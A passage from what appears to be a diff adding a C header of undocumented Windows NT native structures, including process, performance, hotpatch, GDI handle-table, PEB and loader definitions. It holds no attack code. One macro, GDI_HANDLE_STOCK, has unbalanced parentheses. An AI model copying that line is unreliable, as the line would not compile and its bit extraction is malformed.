PROCESSOR_INTEL_386 386 +#define PROCESSOR_INTEL_486 486 +#define PROCESSOR_INTEL_PENTIUM 586 +#define PROCESSOR_INTEL_IA64 2200 +#define PROCESSOR_AMD_X8664 8664 +#define PROCESSOR_MIPS_R4000 4000 // incl R4101 & R3910 for Windows CE +#define PROCESSOR_ALPHA_21064 21064 +#define PROCESSOR_PPC_601 601 +#define PROCESSOR_PPC_603 603 +#define PROCESSOR_PPC_604 604 +#define PROCESSOR_PPC_620 620 +#define PROCESSOR_HITACHI_SH3 10003 // Windows CE +#define PROCESSOR_HITACHI_SH3E 10004 // Windows CE +#define PROCESSOR_HITACHI_SH4 10005 // Windows CE +#define PROCESSOR_MOTOROLA_821 821 // Windows CE +#define PROCESSOR_SHx_SH3 103 // Windows CE +#define PROCESSOR_SHx_SH4 104 // Windows CE +#define PROCESSOR_STRONGARM 2577 // Windows CE - 0xA11 +#define PROCESSOR_ARM720 1824 // Windows CE - 0x720 +#define PROCESSOR_ARM820 2080 // Windows CE - 0x820 +#define PROCESSOR_ARM920 2336 // Windows CE - 0x920 +#define PROCESSOR_ARM_7TDMI 70001 // Windows CE +#define PROCESSOR_OPTIL 0x494f // MSIL + +#define PROCESSOR_ARCHITECTURE_INTEL 0 +#define PROCESSOR_ARCHITECTURE_MIPS 1 +#define PROCESSOR_ARCHITECTURE_ALPHA 2 +#define PROCESSOR_ARCHITECTURE_PPC 3 +#define PROCESSOR_ARCHITECTURE_SHX 4 +#define PROCESSOR_ARCHITECTURE_ARM 5 +#define PROCESSOR_ARCHITECTURE_IA64 6 +#define PROCESSOR_ARCHITECTURE_ALPHA64 7 +#define PROCESSOR_ARCHITECTURE_MSIL 8 +#define PROCESSOR_ARCHITECTURE_AMD64 9 +#define PROCESSOR_ARCHITECTURE_IA32_ON_WIN64 10 + +#define PROCESSOR_ARCHITECTURE_UNKNOWN 0xFFFF + +#define PF_FLOATING_POINT_PRECISION_ERRATA 0 +#define PF_FLOATING_POINT_EMULATED 1 +#define PF_COMPARE_EXCHANGE_DOUBLE 2 +#define PF_MMX_INSTRUCTIONS_AVAILABLE 3 +#define PF_PPC_MOVEMEM_64BIT_OK 4 +#define PF_ALPHA_BYTE_INSTRUCTIONS 5 +#define PF_XMMI_INSTRUCTIONS_AVAILABLE 6 +#define PF_3DNOW_INSTRUCTIONS_AVAILABLE 7 +#define PF_RDTSC_INSTRUCTION_AVAILABLE 8 +#define PF_PAE_ENABLED 9 +#define PF_XMMI64_INSTRUCTIONS_AVAILABLE 10 +#define PF_SSE_DAZ_MODE_AVAILABLE 11 +#define PF_NX_ENABLED 12 +#define PF_SSE3_INSTRUCTIONS_AVAILABLE 13 +#define PF_COMPARE_EXCHANGE128 14 +#define PF_COMPARE64_EXCHANGE128 15 +#define PF_CHANNELS_ENABLED 16 + +typedef struct _MEMORY_BASIC_INFORMATION +{ + PVOID BaseAddress; + PVOID AllocationBase; + DWORD AllocationProtect; + SIZE_T RegionSize; + DWORD State; + DWORD Protect; + DWORD Type; +} MEMORY_BASIC_INFORMATION, *PMEMORY_BASIC_INFORMATION; + +#endif /*_WINNT_*/ + +typedef struct _SYSTEM_PROCESSOR_POWER_INFORMATION { + UCHAR CurrentFrequency; + UCHAR ThermalLimitFrequency; + UCHAR ConstantThrottleFrequency; + UCHAR DegradedThrottleFrequency; + UCHAR LastBusyFrequency; + UCHAR LastC3Frequency; + UCHAR LastAdjustedBusyFrequency; + UCHAR ProcessorMinThrottle; + UCHAR ProcessorMaxThrottle; + ULONG NumberOfFrequencies; + ULONG PromotionCount; + ULONG DemotionCount; + ULONG ErrorCount; + ULONG RetryCount; + ULONG64 CurrentFrequencyTime; + ULONG64 CurrentProcessorTime; + ULONG64 CurrentProcessorIdleTime; + ULONG64 LastProcessorTime; + ULONG64 LastProcessorIdleTime; +} SYSTEM_PROCESSOR_POWER_INFORMATION, *PSYSTEM_PROCESSOR_POWER_INFORMATION; + +typedef struct _SYSTEM_QUERY_TIME_ADJUST_INFORMATION { + ULONG TimeAdjustment; + ULONG TimeIncrement; + BOOLEAN Enable; +} SYSTEM_QUERY_TIME_ADJUST_INFORMATION, *PSYSTEM_QUERY_TIME_ADJUST_INFORMATION; + +typedef struct _SYSTEM_SET_TIME_ADJUST_INFORMATION { + ULONG TimeAdjustment; + BOOLEAN Enable; +} SYSTEM_SET_TIME_ADJUST_INFORMATION, *PSYSTEM_SET_TIME_ADJUST_INFORMATION; + +typedef struct _SYSTEM_PERFORMANCE_INFORMATION { + LARGE_INTEGER IdleProcessTime; + LARGE_INTEGER IoReadTransferCount; + LARGE_INTEGER IoWriteTransferCount; + LARGE_INTEGER IoOtherTransferCount; + ULONG IoReadOperationCount; + ULONG IoWriteOperationCount; + ULONG IoOtherOperationCount; + ULONG AvailablePages; + SYSINF_PAGE_COUNT CommittedPages; + SYSINF_PAGE_COUNT CommitLimit; + SYSINF_PAGE_COUNT PeakCommitment; + ULONG PageFaultCount; + ULONG CopyOnWriteCount; + ULONG TransitionCount; + ULONG CacheTransitionCount; + ULONG DemandZeroCount; + ULONG PageReadCount; + ULONG PageReadIoCount; + ULONG CacheReadCount; + ULONG CacheIoCount; + ULONG DirtyPagesWriteCount; + ULONG DirtyWriteIoCount; + ULONG MappedPagesWriteCount; + ULONG MappedWriteIoCount; + ULONG PagedPoolPages; + ULONG NonPagedPoolPages; + ULONG PagedPoolAllocs; + ULONG PagedPoolFrees; + ULONG NonPagedPoolAllocs; + ULONG NonPagedPoolFrees; + ULONG FreeSystemPtes; + ULONG ResidentSystemCodePage; + ULONG TotalSystemDriverPages; + ULONG TotalSystemCodePages; + ULONG NonPagedPoolLookasideHits; + ULONG PagedPoolLookasideHits; + ULONG AvailablePagedPoolPages; + ULONG ResidentSystemCachePage; + ULONG ResidentPagedPoolPage; + ULONG ResidentSystemDriverPage; + ULONG CcFastReadNoWait; + ULONG CcFastReadWait; + ULONG CcFastReadResourceMiss; + ULONG CcFastReadNotPossible; + ULONG CcFastMdlReadNoWait; + ULONG CcFastMdlReadWait; + ULONG CcFastMdlReadResourceMiss; + ULONG CcFastMdlReadNotPossible; + ULONG CcMapDataNoWait; + ULONG CcMapDataWait; + ULONG CcMapDataNoWaitMiss; + ULONG CcMapDataWaitMiss; + ULONG CcPinMappedDataCount; + ULONG CcPinReadNoWait; + ULONG CcPinReadWait; + ULONG CcPinReadNoWaitMiss; + ULONG CcPinReadWaitMiss; + ULONG CcCopyReadNoWait; + ULONG CcCopyReadWait; + ULONG CcCopyReadNoWaitMiss; + ULONG CcCopyReadWaitMiss; + ULONG CcMdlReadNoWait; + ULONG CcMdlReadWait; + ULONG CcMdlReadNoWaitMiss; + ULONG CcMdlReadWaitMiss; + ULONG CcReadAheadIos; + ULONG CcLazyWriteIos; + ULONG CcLazyWritePages; + ULONG CcDataFlushes; + ULONG CcDataPages; + ULONG ContextSwitches; + ULONG FirstLevelTbFills; + ULONG SecondLevelTbFills; + ULONG SystemCalls; +} SYSTEM_PERFORMANCE_INFORMATION, *PSYSTEM_PERFORMANCE_INFORMATION; + +typedef struct _SYSTEM_PROCESS_INFORMATION { + ULONG NextEntryOffset; + ULONG NumberOfThreads; + LARGE_INTEGER SpareLi1; + LARGE_INTEGER SpareLi2; + LARGE_INTEGER SpareLi3; + LARGE_INTEGER CreateTime; + LARGE_INTEGER UserTime; + LARGE_INTEGER KernelTime; + UNICODE_STRING ImageName; + KPRIORITY BasePriority; + HANDLE UniqueProcessId; + HANDLE InheritedFromUniqueProcessId; + ULONG HandleCount; + ULONG SessionId; + ULONG_PTR PageDirectoryBase; + SIZE_T PeakVirtualSize; + SIZE_T VirtualSize; + ULONG PageFaultCount; + SIZE_T PeakWorkingSetSize; + SIZE_T WorkingSetSize; + SIZE_T QuotaPeakPagedPoolUsage; + SIZE_T QuotaPagedPoolUsage; + SIZE_T QuotaPeakNonPagedPoolUsage; + SIZE_T QuotaNonPagedPoolUsage; + SIZE_T PagefileUsage; + SIZE_T PeakPagefileUsage; + SIZE_T PrivatePageCount; + LARGE_INTEGER ReadOperationCount; + LARGE_INTEGER WriteOperationCount; + LARGE_INTEGER OtherOperationCount; + LARGE_INTEGER ReadTransferCount; + LARGE_INTEGER WriteTransferCount; + LARGE_INTEGER OtherTransferCount; +} SYSTEM_PROCESS_INFORMATION, *PSYSTEM_PROCESS_INFORMATION; + +typedef struct _SYSTEM_SESSION_PROCESS_INFORMATION { + ULONG SessionId; + ULONG SizeOfBuf; + PVOID Buffer; +} SYSTEM_SESSION_PROCESS_INFORMATION, *PSYSTEM_SESSION_PROCESS_INFORMATION; + +typedef struct _SYSTEM_MEMORY_INFO { + PUCHAR StringOffset; + USHORT ValidCount; + USHORT TransitionCount; + USHORT ModifiedCount; + USHORT PageTableCount; +} SYSTEM_MEMORY_INFO, *PSYSTEM_MEMORY_INFO; + +typedef struct _SYSTEM_MEMORY_INFORMATION { + ULONG InfoSize; + ULONG_PTR StringStart; + SYSTEM_MEMORY_INFO Memory[ 1 ]; +} SYSTEM_MEMORY_INFORMATION, *PSYSTEM_MEMORY_INFORMATION; + +typedef struct _SYSTEM_CALL_COUNT_INFORMATION { + ULONG Length; + ULONG NumberOfTables; +} SYSTEM_CALL_COUNT_INFORMATION, *PSYSTEM_CALL_COUNT_INFORMATION; + +typedef struct _SYSTEM_DEVICE_INFORMATION { + ULONG NumberOfDisks; + ULONG NumberOfFloppies; + ULONG NumberOfCdRoms; + ULONG NumberOfTapes; + ULONG NumberOfSerialPorts; + ULONG NumberOfParallelPorts; +} SYSTEM_DEVICE_INFORMATION, *PSYSTEM_DEVICE_INFORMATION; + +typedef struct _SYSTEM_FLAGS_INFORMATION { + ULONG Flags; +} SYSTEM_FLAGS_INFORMATION, *PSYSTEM_FLAGS_INFORMATION; + +typedef struct _SYSTEM_CALL_TIME_INFORMATION { + ULONG Length; + ULONG TotalCalls; + LARGE_INTEGER TimeOfCalls[1]; +} SYSTEM_CALL_TIME_INFORMATION, *PSYSTEM_CALL_TIME_INFORMATION; + +typedef struct _SYSTEM_OBJECT_INFORMATION { + ULONG NextEntryOffset; + PVOID Object; + HANDLE CreatorUniqueProcess; + USHORT CreatorBackTraceIndex; + USHORT Flags; + LONG PointerCount; + LONG HandleCount; + ULONG PagedPoolCharge; + ULONG NonPagedPoolCharge; + HANDLE ExclusiveProcessId; + PVOID SecurityDescriptor; + OBJECT_NAME_INFORMATION NameInfo; +} SYSTEM_OBJECT_INFORMATION, *PSYSTEM_OBJECT_INFORMATION; + +typedef struct _SYSTEM_PAGEFILE_INFORMATION { + ULONG NextEntryOffset; + ULONG TotalSize; + ULONG TotalInUse; + ULONG PeakUsage; + UNICODE_STRING PageFileName; +} SYSTEM_PAGEFILE_INFORMATION, *PSYSTEM_PAGEFILE_INFORMATION; + +typedef struct _SYSTEM_VERIFIER_INFORMATION { + ULONG NextEntryOffset; + ULONG Level; + UNICODE_STRING DriverName; + + ULONG RaiseIrqls; + ULONG AcquireSpinLocks; + ULONG SynchronizeExecutions; + ULONG AllocationsAttempted; + + ULONG AllocationsSucceeded; + ULONG AllocationsSucceededSpecialPool; + ULONG AllocationsWithNoTag; + ULONG TrimRequests; + + ULONG Trims; + ULONG AllocationsFailed; + ULONG AllocationsFailedDeliberately; + ULONG Loads; + + ULONG Unloads; + ULONG UnTrackedPool; + ULONG CurrentPagedPoolAllocations; + ULONG CurrentNonPagedPoolAllocations; + + ULONG PeakPagedPoolAllocations; + ULONG PeakNonPagedPoolAllocations; + + SIZE_T PagedPoolUsageInBytes; + SIZE_T NonPagedPoolUsageInBytes; + SIZE_T PeakPagedPoolUsageInBytes; + SIZE_T PeakNonPagedPoolUsageInBytes; + +} SYSTEM_VERIFIER_INFORMATION, *PSYSTEM_VERIFIER_INFORMATION; + +typedef struct _SYSTEM_VERIFIER_INFORMATION_EX +{ + ULONG VerifyMode; + ULONG OptionChanges; + UNICODE_STRING PreviousBucketName; + ULONG Reserved[ 4 ]; +} SYSTEM_VERIFIER_INFORMATION_EX, *PSYSTEM_VERIFIER_INFORMATION_EX; + +#define MM_WORKING_SET_MAX_HARD_ENABLE 0x1 +#define MM_WORKING_SET_MAX_HARD_DISABLE 0x2 +#define MM_WORKING_SET_MIN_HARD_ENABLE 0x4 +#define MM_WORKING_SET_MIN_HARD_DISABLE 0x8 + +typedef struct _SYSTEM_FILECACHE_INFORMATION { + SIZE_T CurrentSize; + SIZE_T PeakSize; + ULONG PageFaultCount; + SIZE_T MinimumWorkingSet; + SIZE_T MaximumWorkingSet; + SIZE_T CurrentSizeIncludingTransitionInPages; + SIZE_T PeakSizeIncludingTransitionInPages; + ULONG TransitionRePurposeCount; + ULONG Flags; +} SYSTEM_FILECACHE_INFORMATION, *PSYSTEM_FILECACHE_INFORMATION; + +#define FLG_HOTPATCH_KERNEL 0x80000000 +#define FLG_HOTPATCH_RELOAD_NTDLL 0x40000000 +#define FLG_HOTPATCH_NAME_INFO 0x20000000 +#define FLG_HOTPATCH_RENAME_INFO 0x10000000 +#define FLG_HOTPATCH_MAP_ATOMIC_SWAP 0x08000000 +#define FLG_HOTPATCH_WOW64 0x04000000 + +#define FLG_HOTPATCH_ACTIVE 0x00000001 +#define FLG_HOTPATCH_STATUS_FLAGS FLG_HOTPATCH_ACTIVE + +#define FLG_HOTPATCH_VERIFICATION_ERROR 0x00800000 + +typedef struct _HOTPATCH_HOOK_DESCRIPTOR +{ + ULONG_PTR TargetAddress; + PVOID MappedAddress; + ULONG CodeOffset; + ULONG CodeSize; + ULONG OrigCodeOffset; + ULONG ValidationOffset; + ULONG ValidationSize; +} HOTPATCH_HOOK_DESCRIPTOR, *PHOTPATCH_HOOK_DESCRIPTOR; + +typedef struct _SYSTEM_HOTPATCH_CODE_INFORMATION { + + ULONG Flags; + ULONG InfoSize; + + union + { + struct + { + ULONG DescriptorsCount; + HOTPATCH_HOOK_DESCRIPTOR CodeDescriptors[1]; // variable size structure + } CodeInfo; + + struct + { + USHORT NameOffset; + USHORT NameLength; + } KernelInfo; + + struct + { + USHORT NameOffset; + USHORT NameLength; + USHORT TargetNameOffset; + USHORT TargetNameLength; + } UserModeInfo; + + struct + { + HANDLE FileHandle1; + PIO_STATUS_BLOCK IoStatusBlock1; + PFILE_RENAME_INFORMATION RenameInformation1; + ULONG RenameInformationLength1; + HANDLE FileHandle2; + PIO_STATUS_BLOCK IoStatusBlock2; + PFILE_RENAME_INFORMATION RenameInformation2; + ULONG RenameInformationLength2; + } RenameInfo; + + struct + { + HANDLE ParentDirectory; + HANDLE ObjectHandle1; + HANDLE ObjectHandle2; + } AtomicSwap; + }; + +} SYSTEM_HOTPATCH_CODE_INFORMATION, *PSYSTEM_HOTPATCH_CODE_INFORMATION; + +typedef struct _KERNEL_USER_TIMES { + LARGE_INTEGER CreateTime; + LARGE_INTEGER ExitTime; + LARGE_INTEGER KernelTime; + LARGE_INTEGER UserTime; +} KERNEL_USER_TIMES; +typedef KERNEL_USER_TIMES *PKERNEL_USER_TIMES; + +typedef enum _WATCHDOG_HANDLER_ACTION +{ + WdActionSetTimeoutValue, + WdActionQueryTimeoutValue, + WdActionResetTimer, + WdActionStopTimer, + WdActionStartTimer, + WdActionSetTriggerAction, + WdActionQueryTriggerAction, + WdActionQueryState, + WdActionSleep, + WdActionWake +} WATCHDOG_HANDLER_ACTION; + +typedef enum _WATCHDOG_INFORMATION_CLASS { + WdInfoTimeoutValue, + WdInfoResetTimer, + WdInfoStopTimer, + WdInfoStartTimer, + WdInfoTriggerAction, + WdInfoState +} WATCHDOG_INFORMATION_CLASS; + +typedef + NTSTATUS + (*PWD_HANDLER)( + IN WATCHDOG_HANDLER_ACTION Action, + IN PVOID Context, + IN OUT PULONG DataValue, + IN BOOLEAN NoLocks + ); + +typedef struct _SYSTEM_WATCHDOG_HANDLER_INFORMATION { + PWD_HANDLER WdHandler; + PVOID Context; +} SYSTEM_WATCHDOG_HANDLER_INFORMATION, *PSYSTEM_WATCHDOG_HANDLER_INFORMATION; + +#define WDSTATE_FIRED 0x00000001 +#define WDSTATE_HARDWARE_ENABLED 0x00000002 +#define WDSTATE_STARTED 0x00000004 +#define WDSTATE_HARDWARE_PRESENT 0x00000008 + +typedef struct _SYSTEM_WATCHDOG_TIMER_INFORMATION { + WATCHDOG_INFORMATION_CLASS WdInfoClass; + ULONG DataValue; +} SYSTEM_WATCHDOG_TIMER_INFORMATION, *PSYSTEM_WATCHDOG_TIMER_INFORMATION; + +#define GDI_MAX_HANDLE_COUNT 0x4000 + +#define GDI_HANDLE_INDEX_SHIFT 0 +#define GDI_HANDLE_INDEX_BITS 16 +#define GDI_HANDLE_INDEX_MASK 0xffff + +#define GDI_HANDLE_TYPE_SHIFT 16 +#define GDI_HANDLE_TYPE_BITS 5 +#define GDI_HANDLE_TYPE_MASK 0x1f + +#define GDI_HANDLE_ALTTYPE_SHIFT 21 +#define GDI_HANDLE_ALTTYPE_BITS 2 +#define GDI_HANDLE_ALTTYPE_MASK 0x3 + +#define GDI_HANDLE_STOCK_SHIFT 23 +#define GDI_HANDLE_STOCK_BITS 1 +#define GDI_HANDLE_STOCK_MASK 0x1 + +#define GDI_HANDLE_UNIQUE_SHIFT 24 +#define GDI_HANDLE_UNIQUE_BITS 8 +#define GDI_HANDLE_UNIQUE_MASK 0xff + +#define GDI_HANDLE_INDEX(Handle) ((ULONG)(Handle) & GDI_HANDLE_INDEX_MASK) +#define GDI_HANDLE_TYPE(Handle) (((ULONG)(Handle) >> GDI_HANDLE_TYPE_SHIFT) & GDI_HANDLE_TYPE_MASK) +#define GDI_HANDLE_ALTTYPE(Handle) (((ULONG)(Handle) >> GDI_HANDLE_ALTTYPE_SHIFT) & GDI_HANDLE_ALTTYPE_MASK) +#define GDI_HANDLE_STOCK(Handle) (((ULONG)(Handle) >> GDI_HANDLE_STOCK_SHIFT)) & GDI_HANDLE_STOCK_MASK) + +#define GDI_MAKE_HANDLE(Index, Unique) ((ULONG)(((ULONG)(Unique) << GDI_HANDLE_INDEX_BITS) | (ULONG)(Index))) + +// GDI server-side types + +#define GDI_DEF_TYPE 0 +#define GDI_DC_TYPE 1 +#define GDI_DD_DIRECTDRAW_TYPE 2 +#define GDI_DD_SURFACE_TYPE 3 +#define GDI_RGN_TYPE 4 +#define GDI_SURF_TYPE 5 +#define GDI_CLIENTOBJ_TYPE 6 +#define GDI_PATH_TYPE 7 +#define GDI_PAL_TYPE 8 +#define GDI_ICMLCS_TYPE 9 +#define GDI_LFONT_TYPE 10 +#define GDI_RFONT_TYPE 11 +#define GDI_PFE_TYPE 12 +#define GDI_PFT_TYPE 13 +#define GDI_ICMCXF_TYPE 14 +#define GDI_ICMDLL_TYPE 15 +#define GDI_BRUSH_TYPE 16 +#define GDI_PFF_TYPE 17 // unused +#define GDI_CACHE_TYPE 18 // unused +#define GDI_SPACE_TYPE 19 +#define GDI_DBRUSH_TYPE 20 // unused +#define GDI_META_TYPE 21 +#define GDI_EFSTATE_TYPE 22 +#define GDI_BMFD_TYPE 23 // unused +#define GDI_VTFD_TYPE 24 // unused +#define GDI_TTFD_TYPE 25 // unused +#define GDI_RC_TYPE 26 // unused +#define GDI_TEMP_TYPE 27 // unused +#define GDI_DRVOBJ_TYPE 28 +#define GDI_DCIOBJ_TYPE 29 // unused +#define GDI_SPOOL_TYPE 30 + +// GDI client-side types + +#define GDI_CLIENT_TYPE_FROM_HANDLE(Handle) ((ULONG)(Handle) & ((GDI_HANDLE_ALTTYPE_MASK << GDI_HANDLE_ALTTYPE_SHIFT) | \ + (GDI_HANDLE_TYPE_MASK << GDI_HANDLE_TYPE_SHIFT))) +#define GDI_CLIENT_TYPE_FROM_UNIQUE(Unique) GDI_CLIENT_TYPE_FROM_HANDLE((ULONG)(Unique) << 16) + +#define GDI_ALTTYPE_1 (1 << GDI_HANDLE_ALTTYPE_SHIFT) +#define GDI_ALTTYPE_2 (2 << GDI_HANDLE_ALTTYPE_SHIFT) +#define GDI_ALTTYPE_3 (3 << GDI_HANDLE_ALTTYPE_SHIFT) + +#define GDI_CLIENT_BITMAP_TYPE (GDI_SURF_TYPE << GDI_HANDLE_TYPE_SHIFT) +#define GDI_CLIENT_BRUSH_TYPE (GDI_BRUSH_TYPE << GDI_HANDLE_TYPE_SHIFT) +#define GDI_CLIENT_CLIENTOBJ_TYPE (GDI_CLIENTOBJ_TYPE << GDI_HANDLE_TYPE_SHIFT) +#define GDI_CLIENT_DC_TYPE (GDI_DC_TYPE << GDI_HANDLE_TYPE_SHIFT) +#define GDI_CLIENT_FONT_TYPE (GDI_LFONT_TYPE << GDI_HANDLE_TYPE_SHIFT) +#define GDI_CLIENT_PALETTE_TYPE (GDI_PAL_TYPE << GDI_HANDLE_TYPE_SHIFT) +#define GDI_CLIENT_REGION_TYPE (GDI_RGN_TYPE << GDI_HANDLE_TYPE_SHIFT) + +#define GDI_CLIENT_ALTDC_TYPE (GDI_CLIENT_DC_TYPE | GDI_ALTTYPE_1) +#define GDI_CLIENT_DIBSECTION_TYPE (GDI_CLIENT_BITMAP_TYPE | GDI_ALTTYPE_1) +#define GDI_CLIENT_EXTPEN_TYPE (GDI_CLIENT_BRUSH_TYPE | GDI_ALTTYPE_2) +#define GDI_CLIENT_METADC16_TYPE (GDI_CLIENT_CLIENTOBJ_TYPE | GDI_ALTTYPE_3) +#define GDI_CLIENT_METAFILE_TYPE (GDI_CLIENT_CLIENTOBJ_TYPE | GDI_ALTTYPE_2) +#define GDI_CLIENT_METAFILE16_TYPE (GDI_CLIENT_CLIENTOBJ_TYPE | GDI_ALTTYPE_1) +#define GDI_CLIENT_PEN_TYPE (GDI_CLIENT_BRUSH_TYPE | GDI_ALTTYPE_1) + +typedef struct _GDI_HANDLE_ENTRY +{ + union + { + PVOID Object; + PVOID NextFree; + }; + union + { + struct + { + USHORT ProcessId; + USHORT Lock : 1; + USHORT Count : 15; + }; + ULONG Value; + } Owner; + USHORT Unique; + UCHAR Type; + UCHAR Flags; + PVOID UserPointer; +} GDI_HANDLE_ENTRY, *PGDI_HANDLE_ENTRY; + +typedef struct _GDI_SHARED_MEMORY +{ + GDI_HANDLE_ENTRY Handles[GDI_MAX_HANDLE_COUNT]; +} GDI_SHARED_MEMORY, *PGDI_SHARED_MEMORY; + +#define FLS_MAXIMUM_AVAILABLE 128 +#define TLS_MINIMUM_AVAILABLE 64 +#define TLS_EXPANSION_SLOTS 1024 + +#define DOS_MAX_COMPONENT_LENGTH 255 +#define DOS_MAX_PATH_LENGTH (DOS_MAX_COMPONENT_LENGTH + 5) + +typedef struct _CURDIR +{ + UNICODE_STRING DosPath; + HANDLE Handle; +} CURDIR, *PCURDIR; + +#define RTL_USER_PROC_CURDIR_CLOSE 0x00000002 +#define RTL_USER_PROC_CURDIR_INHERIT 0x00000003 + +typedef struct _RTL_DRIVE_LETTER_CURDIR +{ + USHORT Flags; + USHORT Length; + ULONG TimeStamp; + STRING DosPath; +} RTL_DRIVE_LETTER_CURDIR, *PRTL_DRIVE_LETTER_CURDIR; + +#define RTL_MAX_DRIVE_LETTERS 32 +#define RTL_DRIVE_LETTER_VALID (USHORT)0x0001 + +typedef struct _RTL_USER_PROCESS_PARAMETERS +{ + ULONG MaximumLength; + ULONG Length; + + ULONG Flags; + ULONG DebugFlags; + + HANDLE ConsoleHandle; + ULONG ConsoleFlags; + HANDLE StandardInput; + HANDLE StandardOutput; + HANDLE StandardError; + + CURDIR CurrentDirectory; + UNICODE_STRING DllPath; + UNICODE_STRING ImagePathName; + UNICODE_STRING CommandLine; + PVOID Environment; + + ULONG StartingX; + ULONG StartingY; + ULONG CountX; + ULONG CountY; + ULONG CountCharsX; + ULONG CountCharsY; + ULONG FillAttribute; + + ULONG WindowFlags; + ULONG ShowWindowFlags; + UNICODE_STRING WindowTitle; + UNICODE_STRING DesktopInfo; + UNICODE_STRING ShellInfo; + UNICODE_STRING RuntimeData; + RTL_DRIVE_LETTER_CURDIR CurrentDirectories[RTL_MAX_DRIVE_LETTERS]; + + ULONG EnvironmentSize; + ULONG EnvironmentVersion; +} RTL_USER_PROCESS_PARAMETERS, *PRTL_USER_PROCESS_PARAMETERS; + +#define WOW64_SYSTEM_DIRECTORY "SysWOW64" +#define WOW64_SYSTEM_DIRECTORY_U L"SysWOW64" +#define WOW64_X86_TAG " (x86)" +#define WOW64_X86_TAG_U L" (x86)" + +typedef enum _WOW64_SHARED_INFORMATION +{ + SharedNtdll32LdrInitializeThunk = 0, + SharedNtdll32KiUserExceptionDispatcher = 1, + SharedNtdll32KiUserApcDispatcher = 2, + SharedNtdll32KiUserCallbackDispatcher = 3, + SharedNtdll32LdrHotPatchRoutine = 4, + SharedNtdll32ExpInterlockedPopEntrySListFault = 5, + SharedNtdll32ExpInterlockedPopEntrySListResume = 6, + SharedNtdll32ExpInterlockedPopEntrySListEnd = 7, + SharedNtdll32RtlUserThreadStart = 8, + SharedNtdll32pQueryProcessDebugInformationRemote = 9, + SharedNtdll32EtwpNotificationThread = 10, + SharedNtdll32BaseAddress = 11, + Wow64SharedPageEntriesCount = 12 +} WOW64_SHARED_INFORMATION; + +// 21.12.2011 added +#define SET_LAST_STATUS(S)NtCurrentTeb()->LastErrorValue = RtlNtStatusToDosError(NtCurrentTeb()->LastStatusValue = (ULONG)(S)) +// 21.12.2011 - end + +// 32-bit definitions + +#if (_MSC_VER < 1300) && !defined(_WINDOWS_) +typedef struct LIST_ENTRY32 { + DWORD Flink; + DWORD Blink; +} LIST_ENTRY32; +typedef LIST_ENTRY32 *PLIST_ENTRY32; + +typedef struct LIST_ENTRY64 { + ULONGLONG Flink; + ULONGLONG Blink; +} LIST_ENTRY64; +typedef LIST_ENTRY64 *PLIST_ENTRY64; +#endif + +#define WOW64_POINTER(Type) ULONG + +typedef struct _PEB_LDR_DATA32 +{ + ULONG Length; + BOOLEAN Initialized; + WOW64_POINTER(HANDLE) SsHandle; + LIST_ENTRY32 InLoadOrderModuleList; + LIST_ENTRY32 InMemoryOrderModuleList; + LIST_ENTRY32 InInitializationOrderModuleList; + WOW64_POINTER(PVOID) EntryInProgress; + BOOLEAN ShutdownInProgress; + WOW64_POINTER(HANDLE) ShutdownThreadId; +} PEB_LDR_DATA32, *PPEB_LDR_DATA32; + +#define LDR_DATA_TABLE_ENTRY_SIZE_WINXP32 FIELD_OFFSET( LDR_DATA_TABLE_ENTRY32, ForwarderLinks ) + +typedef struct _LDR_DATA_TABLE_ENTRY32 +{ + LIST_ENTRY32 InLoadOrderLinks; + LIST_ENTRY32 InMemoryOrderLinks; + LIST_ENTRY32 InInitializationOrderLinks; + WOW64_POINTER(PVOID) DllBase; + WOW64_POINTER(PVOID) EntryPoint; + ULONG SizeOfImage; + UNICODE_STRING32 FullDllName; + UNICODE_STRING32 BaseDllName; + ULONG Flags; + USHORT LoadCount; + USHORT TlsIndex; + union + { + LIST_ENTRY32 HashLinks; + struct + { + WOW64_POINTER(PVOID) SectionPointer; + ULONG CheckSum; + }; + }; + union + { + ULONG TimeDateStamp; + WOW64_POINTER(PVOID) LoadedImports; + }; + WOW64_POINTER(PVOID) EntryPointActivationContext; + WOW64_POINTER(PVOID) PatchInformation; + LIST_ENTRY32 ForwarderLinks; + LIST_ENTRY32 ServiceTagLinks; + LIST_ENTRY32 StaticLinks; + WOW64_POINTER(PVOID) ContextInformation; + WOW64_POINTER(ULONG_PTR) OriginalBase; + LARGE_INTEGER LoadTime; +} LDR_DATA_TABLE_ENTRY32, *PLDR_DATA_TABLE_ENTRY32; + +typedef struct _CURDIR32 +{ + UNICODE_STRING32 DosPath; + WOW64_POINTER(HANDLE) Handle; +} CURDIR32, *PCURDIR32; + +typedef struct _RTL_DRIVE_LETTER_CURDIR32 +{ + USHORT Flags; + USHORT Length; + ULONG TimeStamp; + STRING32 DosPath; +} RTL_DRIVE_LETTER_CURDIR32, *PRTL_DRIVE_LETTER_CURDIR32; + +typedef struct _RTL_USER_PROCESS_PARAMETERS32 +{ + ULONG MaximumLength; + ULONG Length; + + ULONG Flags; + ULONG DebugFlags; + + WOW64_POINTER(HANDLE) ConsoleHandle; + ULONG ConsoleFlags; + WOW64_POINTER(HANDLE) StandardInput; + WOW64_POINTER(HANDLE) StandardOutput; + WOW64_POINTER(HANDLE) StandardError; + + CURDIR32 CurrentDirectory; + UNICODE_STRING32 DllPath; + UNICODE_STRING32 ImagePathName; + UNICODE_STRING32 CommandLine; + WOW64_POINTER(PVOID) Environment; + + ULONG StartingX; + ULONG StartingY; + ULONG CountX; + ULONG CountY; + ULONG CountCharsX; + ULONG CountCharsY; + ULONG FillAttribute; + + ULONG WindowFlags; + ULONG ShowWindowFlags; + UNICODE_STRING32 WindowTitle; + UNICODE_STRING32 DesktopInfo; + UNICODE_STRING32 ShellInfo; + UNICODE_STRING32 RuntimeData; + RTL_DRIVE_LETTER_CURDIR32 CurrentDirectories[RTL_MAX_DRIVE_LETTERS]; + + ULONG EnvironmentSize; + ULONG EnvironmentVersion; +} RTL_USER_PROCESS_PARAMETERS32, *PRTL_USER_PROCESS_PARAMETERS32; + +typedef struct _PEB32 +{ + BOOLEAN InheritedAddressSpace; + BOOLEAN ReadImageFileExecOptions; + BOOLEAN BeingDebugged; + union + { + BOOLEAN BitField; + struct + { + BOOLEAN ImageUsesLargePages : 1; + BOOLEAN IsProtectedProcess : 1; + BOOLEAN IsLegacyProcess : 1; + BOOLEAN IsImageDynamicallyRelocated : 1; + BOOLEAN SkipPatchingUser32Forwarders : 1; + BOOLEAN SpareBits : 3; + }; + }; + WOW64_POINTER(HANDLE) Mutant; + + WOW64_POINTER(PVOID) ImageBaseAddress; + WOW64_POINTER(PPEB_LDR_DATA) Ldr; + WOW64_POINTER(PRTL_USER_PROCESS_PARAMETERS) 